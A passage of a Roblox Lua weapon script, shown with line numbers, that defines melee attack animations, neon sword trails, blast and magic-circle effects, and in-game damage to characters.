        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3336
    end
3337
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) 
3338
    so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) 
3339
    for i=0,1,0.1 do
3340
        swait()
3341
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
3342
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3343
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3344
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
3345
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3346
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
3347
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3348
    end
3349
    --dmgstop()
3350
    attack=false
3351
    con1:disconnect()
3352
if TrailDeb == true then
3353
						TrailDeb = false
3354
end
3355
end
3356
3357
function attacktwo()
3358
    attack=true
3359
if TrailDeb == false then
3360
							TrailDeb = true
3361
						end
3362
						
3363
3364
coroutine.wrap(function()
3365
local Old = Handle2.CFrame.p
3366
while wait()do
3367
if not TrailDeb then break end
3368
local New = Handle2.CFrame.p
3369
local Mag =(Old -New).magnitude
3370
local Dis =(Old +New)/2
3371
local Trail = Instance.new("Part",Character)
3372
Trail.Material = "Neon"
3373
Trail.Anchored = true
3374
Trail.CanCollide = false
3375
Trail.BrickColor = TorsoColor
3376
Trail.Size = Vector3.new(0.2,Mag,0.2)
3377
Trail.TopSurface = 0
3378
Trail.BottomSurface = 0
3379
Trail.formFactor = "Custom"
3380
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3381
local ms = Instance.new("BlockMesh",Trail)
3382
ms.Scale = Vector3.new(1,1,1)
3383
local TM = Instance.new("CylinderMesh",Trail)
3384
TM.Scale = Vector3.new(1,1,1)
3385
Old = New
3386
coroutine.wrap(function()
3387
for i = 1,0,-0.1 do
3388
wait()
3389
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3390
end
3391
Trail:remove()
3392
end)()
3393
coroutine.wrap(function()
3394
for i = 1,10 do
3395
wait()
3396
Trail.Transparency = Trail.Transparency +0.1
3397
end end)()end end)()
3398
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3399
    for i=0,1,0.08 do
3400
        swait()
3401
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
3402
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3403
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3404
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
3405
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3406
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
3407
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
3408
    end
3409
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
3410
    so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) 
3411
    for i=0,1,0.1 do
3412
        swait()
3413
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3414
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
3415
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3416
        Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
3417
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3418
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
3419
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
3420
    end
3421
    --dmgstop()
3422
    attack=false
3423
    con1:disconnect()
3424
if TrailDeb == true then
3425
						TrailDeb = false
3426
end
3427
end
3428
3429
function attackthree()
3430
    attack=true
3431
    if TrailDeb == false then
3432
							TrailDeb = true
3433
						end
3434
3435
						
3436
coroutine.wrap(function()
3437
local Old = Handle.CFrame.p
3438
while wait()do
3439
if not TrailDeb then break end
3440
local New = Handle.CFrame.p
3441
local Mag =(Old -New).magnitude
3442
local Dis =(Old +New)/2
3443
local Trail = Instance.new("Part",Character)
3444
Trail.Material = "Neon"
3445
Trail.Anchored = true
3446
Trail.CanCollide = false
3447
Trail.BrickColor = TorsoColor
3448
Trail.Size = Vector3.new(0.2,Mag,0.2)
3449
Trail.TopSurface = 0
3450
Trail.BottomSurface = 0
3451
Trail.formFactor = "Custom"
3452
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3453
local ms = Instance.new("BlockMesh",Trail)
3454
ms.Scale = Vector3.new(1,1,1)
3455
local TM = Instance.new("CylinderMesh",Trail)
3456
TM.Scale = Vector3.new(1,1,1)
3457
Old = New
3458
coroutine.wrap(function()
3459
for i = 1,0,-0.1 do
3460
wait()
3461
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3462
end
3463
Trail:remove()
3464
end)()
3465
coroutine.wrap(function()
3466
for i = 1,10 do
3467
wait()
3468
Trail.Transparency = Trail.Transparency +0.1
3469
end end)()end end)()
3470
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) 
3471
    for i=0,1,0.08 do
3472
        swait()
3473
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
3474
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
3475
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3476
        Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
3477
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3478
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
3479
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3480
    end
3481
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
3482
    so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) 
3483
    for i=0,1,0.05 do
3484
        swait()
3485
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
3486
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
3487
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3488
        Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
3489
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3490
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
3491
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3492
    end
3493
    --dmgstop()
3494
    attack=false
3495
    con1:disconnect()
3496
if TrailDeb == true then
3497
						TrailDeb = false
3498
end
3499
end
3500
3501
function attackfour()
3502
    attack=true
3503
if TrailDeb == false then
3504
							TrailDeb = true
3505
						end
3506
						
3507
3508
coroutine.wrap(function()
3509
local Old = Handle2.CFrame.p
3510
while wait()do
3511
if not TrailDeb then break end
3512
local New = Handle2.CFrame.p
3513
local Mag =(Old -New).magnitude
3514
local Dis =(Old +New)/2
3515
local Trail = Instance.new("Part",Character)
3516
Trail.Material = "Neon"
3517
Trail.Anchored = true
3518
Trail.CanCollide = false
3519
Trail.BrickColor = TorsoColor
3520
Trail.Size = Vector3.new(0.2,Mag,0.2)
3521
Trail.TopSurface = 0
3522
Trail.BottomSurface = 0
3523
Trail.formFactor = "Custom"
3524
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3525
local ms = Instance.new("BlockMesh",Trail)
3526
ms.Scale = Vector3.new(1,1,1)
3527
local TM = Instance.new("CylinderMesh",Trail)
3528
TM.Scale = Vector3.new(1,1,1)
3529
Old = New
3530
coroutine.wrap(function()
3531
for i = 1,0,-0.1 do
3532
wait()
3533
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3534
end
3535
Trail:remove()
3536
end)()
3537
coroutine.wrap(function()
3538
for i = 1,10 do
3539
wait()
3540
Trail.Transparency = Trail.Transparency +0.1
3541
end end)()end end)()
3542
coroutine.wrap(function()
3543
local Old = Handle.CFrame.p
3544
while wait()do
3545
if not TrailDeb then break end
3546
local New = Handle.CFrame.p
3547
local Mag =(Old -New).magnitude
3548
local Dis =(Old +New)/2
3549
local Trail = Instance.new("Part",Character)
3550
Trail.Material = "Neon"
3551
Trail.Anchored = true
3552
Trail.CanCollide = false
3553
Trail.BrickColor = TorsoColor
3554
Trail.Size = Vector3.new(0.2,Mag,0.2)
3555
Trail.TopSurface = 0
3556
Trail.BottomSurface = 0
3557
Trail.formFactor = "Custom"
3558
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3559
local ms = Instance.new("BlockMesh",Trail)
3560
ms.Scale = Vector3.new(1,1,1)
3561
local TM = Instance.new("CylinderMesh",Trail)
3562
TM.Scale = Vector3.new(1,1,1)
3563
Old = New
3564
coroutine.wrap(function()
3565
for i = 1,0,-0.1 do
3566
wait()
3567
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3568
end
3569
Trail:remove()
3570
end)()
3571
coroutine.wrap(function()
3572
for i = 1,10 do
3573
wait()
3574
Trail.Transparency = Trail.Transparency +0.1
3575
end end)()end end)()
3576
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3577
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3578
    for i=0,1,0.08 do
3579
        swait()
3580
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3581
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3582
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3583
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3584
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3585
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3586
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3587
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3588
    end
3589
if anim then
3590
anim.Disabled=true
3591
end
3592
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) 
3593
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) 
3594
    for i=0,1,0.04 do
3595
        swait()
3596
        Torso.Velocity=RootPart.CFrame.lookVector*50
3597
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
3598
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3599
        Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3600
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3601
        RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3602
        LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3603
        RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3604
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3605
    end
3606
    --dmgstop()
3607
    attack=false
3608
    con1:disconnect()
3609
    con2:disconnect()
3610
if anim then
3611
anim.Disabled=false
3612
end
3613
if TrailDeb == true then
3614
						TrailDeb = false
3615
end
3616
end
3617
3618
function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
3619
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
3620
	prt.Anchored = true
3621
	prt.CFrame = cframe
3622
	local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
3623
	coroutine.resume(coroutine.create(function() 
3624
		for i = 0, 1, 0.05 do
3625
			wait()
3626
			prt.Transparency = i
3627
			msh.Scale = msh.Scale + vt(x2, y2, z2)
3628
		end
3629
		prt.Parent = nil
3630
	end))
3631
end
3632
3633
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
3634
	for _, c in pairs(workspace:children()) do
3635
		local hum = c:findFirstChild("Humanoid")
3636
		if hum ~= nil then
3637
			local head = c:findFirstChild("Torso")
3638
			if head ~= nil then
3639
				local targ = head.Position - Part.Position
3640
				local mag = targ.magnitude
3641
				if mag <= magni and c.Name ~= Player.Name then 
3642
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
3643
				end
3644
			end
3645
		end
3646
	end
3647
end
3648
3649
function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
3650
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
3651
	prt.Anchored = true
3652
	prt.CFrame = cframe
3653
	local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
3654
	game:GetService("Debris"):AddItem(prt, 2)
3655
	coroutine.resume(coroutine.create(function(Part, Mesh) 
3656
		for i = 0, 1, delay do
3657
			swait()
3658
			Part.CFrame = Part.CFrame
3659
			Part.Transparency = i
3660
			Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
3661
		end
3662
		Part.Parent = nil
3663
	end), prt, msh)
3664
end
3665
3666
function MagicJump()
3667
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
3668
    attack=true
3669
	mana=mana-25
3670
--[[	Humanoid.WalkSpeed = 0
3671
	    for i=0,1,0.01 do
3672
        swait()
3673
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
3674
		Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
3675
		Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
3676
		RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
3677
		LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
3678
		RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
3679
		LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
3680
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
3681
		Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
3682
		Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
3683
    end]]--
3684
	Humanoid.Jump = true
3685
	Torso.Velocity = vt(0, 150, 0)
3686
	Humanoid.WalkSpeed = 64
3687
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
3688
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
3689
 	for i=0,1,0.05 do
3690
	swait()
3691
	Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
3692
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3693
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
3694
    LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
3695
    RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
3696
	RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
3697
	LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
3698
	handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
3699
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
3700
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
3701
end
3702
 	for i=0,1,0.02 do
3703
	swait()
3704
	Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
3705
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3706
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
3707
	RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
3708
	RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
3709
	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
3710
	LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
3711
	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
3712
	LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
3713
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
3714
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
3715
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
3716
end
3717
	Humanoid.WalkSpeed = 0
3718
	swait(8)
3719
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
3720
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
3721
	local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
3722
	if hit~=nil then
3723
	swait(2)
3724
	local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
3725
	ref.Anchored=true
3726
	ref.CFrame=cf(pos)
3727
	game:GetService("Debris"):AddItem(ref,3)
3728
	for i=1,10 do
3729
	local Col=BrickColor.new("Really black")
3730
	local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
3731
	groundpart.Anchored=true
3732
	groundpart.CanCollide=false
3733
	groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3734
	local Col2=TorsoColor
3735
	local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
3736
	groundpart2.Anchored=true
3737
	groundpart2.CanCollide=false
3738
	groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3739
	game:GetService("Debris"):AddItem(groundpart,5)
3740
	game:GetService("Debris"):AddItem(groundpart2,5)
3741
	end
3742
	BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
3743
	BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
3744
	MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
3745
	MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
3746
 	for i=0,1,0.06 do
3747
	swait()
3748
	Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
3749
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3750
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
3751
	RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
3752
	LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
3753
	RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
3754
	LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
3755
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
3756
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
3757
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
3758
end
3759
end
3760
	swait(20)
3761
	Humanoid.WalkSpeed = 12
3762
    --dmgstop()
3763
    attack=false
3764
end
3765
end
3766
3767
function Spin()
3768
    attack=true
3769
mana=mana-40
3770
if TrailDeb == false then
3771
							TrailDeb = true
3772
						end
3773
						
3774
coroutine.wrap(function()
3775
local Old = Handle2.CFrame.p
3776
while wait()do
3777
if not TrailDeb then break end
3778
local New = Handle2.CFrame.p
3779
local Mag =(Old -New).magnitude
3780
local Dis =(Old +New)/2
3781
local Trail = Instance.new("Part",Character)
3782
Trail.Material = "Neon"
3783
Trail.Anchored = true
3784
Trail.CanCollide = false
3785
Trail.BrickColor = TorsoColor
3786
Trail.Size = Vector3.new(0.2,Mag,0.2)
3787
Trail.TopSurface = 0
3788
Trail.BottomSurface = 0
3789
Trail.formFactor = "Custom"
3790
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3791
local ms = Instance.new("BlockMesh",Trail)
3792
ms.Scale = Vector3.new(1,1,1)
3793
local TM = Instance.new("CylinderMesh",Trail)
3794
TM.Scale = Vector3.new(1,1,1)
3795
Old = New
3796
coroutine.wrap(function()
3797
for i = 1,0,-0.1 do
3798
wait()
3799
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3800
end
3801
Trail:remove()
3802
end)()
3803
coroutine.wrap(function()
3804
for i = 1,10 do
3805
wait()
3806
Trail.Transparency = Trail.Transparency +0.1
3807
end end)()end end)()
3808
coroutine.wrap(function()
3809
local Old = Handle.CFrame.p
3810
while wait()do
3811
if not TrailDeb then break end
3812
local New = Handle.CFrame.p
3813
local Mag =(Old -New).magnitude
3814
local Dis =(Old +New)/2
3815
local Trail = Instance.new("Part",Character)
3816
Trail.Material = "Neon"
3817
Trail.Anchored = true
3818
Trail.CanCollide = false
3819
Trail.BrickColor = TorsoColor
3820
Trail.Size = Vector3.new(0.2,Mag,0.2)
3821
Trail.TopSurface = 0
3822
Trail.BottomSurface = 0
3823
Trail.formFactor = "Custom"
3824
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3825
local ms = Instance.new("BlockMesh",Trail)
3826
ms.Scale = Vector3.new(1,1,1)
3827
local TM = Instance.new("CylinderMesh",Trail)
3828
TM.Scale = Vector3.new(1,1,1)
3829
Old = New
3830
coroutine.wrap(function()
3831
for i = 1,0,-0.1 do
3832
wait()
3833
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3834
end
3835
Trail:remove()
3836
end)()
3837
coroutine.wrap(function()
3838
for i = 1,10 do
3839
wait()
3840
Trail.Transparency = Trail.Transparency +0.1
3841
end end)()end end)()
3842
	Footsteps:Stop()
3843
	Footsteps2:Stop()
3844
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3845
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3846
    so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) 
3847
    for i=0,1,0.1 do
3848
        swait()
3849
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3850
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3851
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3852
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3853
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3854
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3855
    end
3856
if anim then
3857
anim.Disabled=true
3858
end
3859
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3860
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3861
    for i=0,1,0.05 do
3862
        swait()
3863
        Torso.Velocity=RootPart.CFrame.lookVector*100
3864
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3865
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3866
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3867
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3868
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3869
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3870
    end
3871
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3872
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3873
    for i=0,1,0.05 do
3874
        swait()
3875
        Torso.Velocity=RootPart.CFrame.lookVector*100
3876
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3877
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3878
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3879
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3880
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3881
